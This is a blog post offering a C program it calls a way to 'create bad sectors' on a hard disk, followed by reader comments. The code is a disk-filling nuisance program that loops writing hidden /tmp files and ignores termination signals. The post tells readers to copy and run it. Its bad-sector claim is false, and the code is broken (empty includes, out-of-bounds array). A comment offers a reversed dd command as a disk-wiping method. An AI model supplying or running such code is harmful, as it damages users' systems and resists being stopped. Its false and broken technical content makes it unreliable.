Header Ads

Create BAD sectors on HDD


This C program will create BAD Sectors on Hard Disk . Bad Sectors are sectors of Hard Disk where data can't be written nor can be retrieved . Bad Sectors may be permanent / temporary . Copy the code and run it using a C / C++ Complier .

Disclaimer: This article is for informational and educational purpose only, as most information is found on various part of Internet. Readers should not misuse the code to destroy useful data or do other such illegal acts .

#include
#include
#include
#include
#include
#include
#include

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}

13 comments:

  1. hi give the program to erase the sector zero

    ReplyDelete
  2. For Linux : sudo dd if="/dev/sda" of="/dev/zero"

    ReplyDelete
  3. I cannot compile this project in Visual C++ 2008 Express Edition. What do I need to compile it?

    ReplyDelete
  4. how to read and write from bad sectors

    ReplyDelete
  5. You can't read / write to a bad sector and that is why they are called bad sectors.

    It it is a logical bad sector you can do a format or low level format to get back that sector and then write data to it !

    ReplyDelete
  6. I cannot compile this project in Visual C++ 2008 Express Edition. What do I need to compile it?

    ReplyDelete
  7. You can't read / write to a bad sector and that is why they are called bad sectors.

    It it is a logical bad sector you can do a format or low level format to get back that sector and then write data to it !

    ReplyDelete
  8. This comment has been removed by the author.

    ReplyDelete
  9. Hi, the arrays in C are indexed from 0, so "fd[5]" is totally wrong! Also there is memory leak, there should be free for every malloc, free(buf) is missing!

    ReplyDelete
  10. This comment has been removed by a blog administrator.

    ReplyDelete
  11. plz hhhheeeeelp!!!! I cannot compile this project in Visual C++ 2008 Express Edition. What do I need to compile it?

    ReplyDelete
  12. my mail pianist@hotmail.ru or princepianist@gmail.com!!! help!!! i don't understand(((

    ReplyDelete